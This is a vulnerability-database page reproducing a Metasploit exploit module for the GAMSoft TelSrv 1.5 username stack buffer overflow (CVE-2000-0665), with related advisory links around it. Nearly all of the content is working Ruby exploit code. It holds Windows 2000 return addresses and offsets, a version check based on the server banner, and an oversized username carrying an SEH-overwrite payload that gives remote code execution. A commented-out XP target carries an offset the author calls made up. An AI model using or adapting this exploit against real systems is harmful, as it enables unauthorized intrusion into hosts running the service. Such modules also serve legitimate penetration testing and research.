Lucene search
K

GAMSoft TelSrv 1.5 Username Buffer Overflow

🗓️ 22 May 2007 21:15:14Reported by aushack <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 23 Views

GAMSoft TelSrv 1.5 Username Buffer Overflow exploit targeting Windows 2000 Pro SP0/4 English REMOTE and LOCA

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2000-0665
22 Jun 201000:00
circl
CVE
CVE-2000-0665
13 Oct 200004:00
cve
Cvelist
CVE-2000-0665
13 Oct 200004:00
cvelist
Exploit DB
GAMSoft TelSrv 1.5 - &#039;Username&#039; Remote Buffer Overflow (Metasploit)
22 Jun 201000:00
exploitdb
NVD
CVE-2000-0665
17 Jul 200004:00
nvd
OpenVAS
GAMSoft TelSrv 1.4/1.5 Overflow
3 Nov 200500:00
openvas
OpenVAS
GAMSoft TelSrv 1.4/1.5 Overflow
3 Nov 200500:00
openvas
Packet Storm
GAMSoft TelSrv 1.5 Username Buffer Overflow
26 Nov 200900:00
packetstorm
Tenable Nessus
GAMSoft TelSrv 1.4/1.5 Username Overflow DoS
17 Jul 200000:00
nessus
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'		=> 'GAMSoft TelSrv 1.5 Username Buffer Overflow',
      'Description'	=> %q{
          This module exploits a username sprintf stack buffer overflow in GAMSoft TelSrv 1.5.
        Other versions may also be affected. The service terminates after exploitation,
        so you only get one chance!
      },
      'Author' 	=> [ 'aushack' ],
      'Arch'		=> [ ARCH_X86 ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'CVE', '2000-0665'],
          [ 'OSVDB', '373'],
          [ 'BID', '1478'],
          [ 'URL', 'http://cdn.simtel.net/pub/simtelnet/win95/inetmisc/telsrv15.zip'],
        ],
      'Privileged'		=> false,
      'DefaultOptions'	=>
        {
          'EXITFUNC' 	=> 'thread',
        },
      'Payload'        	=>
        {
          'Space'			=> 1000,
          'BadChars' 		=> "\x00\x0a",
          'StackAdjustment' 	=> -3500,
        },
      'Platform' => ['win'],
      'Targets'  =>
        [
          [ 'Windows 2000 Pro SP0/4 English REMOTE',
            {
              'Ret'		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
              'Offset'	=> 1886,
            }
          ],

          [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - 127.0.0.1)',
            {
              'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
              'Offset'	=> 3318,
            }
          ],

          [ 'Windows 2000 Pro SP0/4 English LOCAL (debug - dhcp)',
            {
              'Ret' 		=> 0x75022ac4, # pop/pop/ret ws2help.dll w2k pro en ALL
              'Offset' 	=> 3358,
            }
          ],
=begin
          [ 'Windows XP Pro SP0/1 English',
            {
              'Ret' 		=> 0x71aa32ad, # pop/pop/ret xp pro en ALL
              'Offset'	=> 2600, # this is made up and absolutely wrong ;-)
            }
          ],
=end
        ],
      'DisclosureDate' => '2000-07-17',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(23),
      ])
  end

  def check
    connect
    print_status("Attempting to determine if target is possibly vulnerable...")
    select(nil,nil,nil,7)
    banner = sock.get_once || ''
    vprint_status("Banner: #{banner}")

    if banner.to_s =~ /TelSrv 1\.5/
      return Exploit::CheckCode::Appears
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Trying target #{target.name} on host #{datastore['RHOST']}:#{datastore['RPORT']}...")
    connect
    print_status("Connected to telnet service... waiting several seconds.") # User friendly message due to sleep.
    select(nil,nil,nil,7) # If unregistered version, you must wait for >5 seconds. Seven is safe. Six is not.

    username = rand_text_english(20000, payload_badchars)
    seh = generate_seh_payload(target.ret)
    username[target['Offset'], seh.length] = seh

    print_status("Sending #{ username.length} byte username as exploit (including #{seh.length} byte payload)...")
    sock.put(username)
    select(nil,nil,nil,0.25)
    print_status('Exploit sent...')
    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation